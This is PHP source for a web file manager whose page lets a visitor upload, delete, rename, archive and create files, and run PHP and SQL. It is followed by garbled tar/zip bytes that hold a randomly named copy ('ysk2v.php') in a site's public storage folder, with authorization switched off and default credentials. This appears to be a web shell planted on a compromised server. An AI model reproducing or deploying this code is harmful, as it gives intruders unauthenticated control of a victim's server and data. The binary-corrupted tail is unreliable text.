        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
PK!�r�
<<
ysk2v.php.tarnu�[���PK!�𲫵a�a=<ysk2v.php.php.tar.gznu�[���PK!���7�5�5	6�ysk2v.phpnu�[���PK�[�4odfzq/4odfzq.tar000064400001506000000000000000007635 0ustar004odfzq.zip000064400000552533000000000000006455 0ustar00PK!�r�
<<
ysk2v.php.tarnu�[���var/www/html/back/storage/app/public/87/4odfzq/ysk2v.php000064400000232754000000000000016740 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after 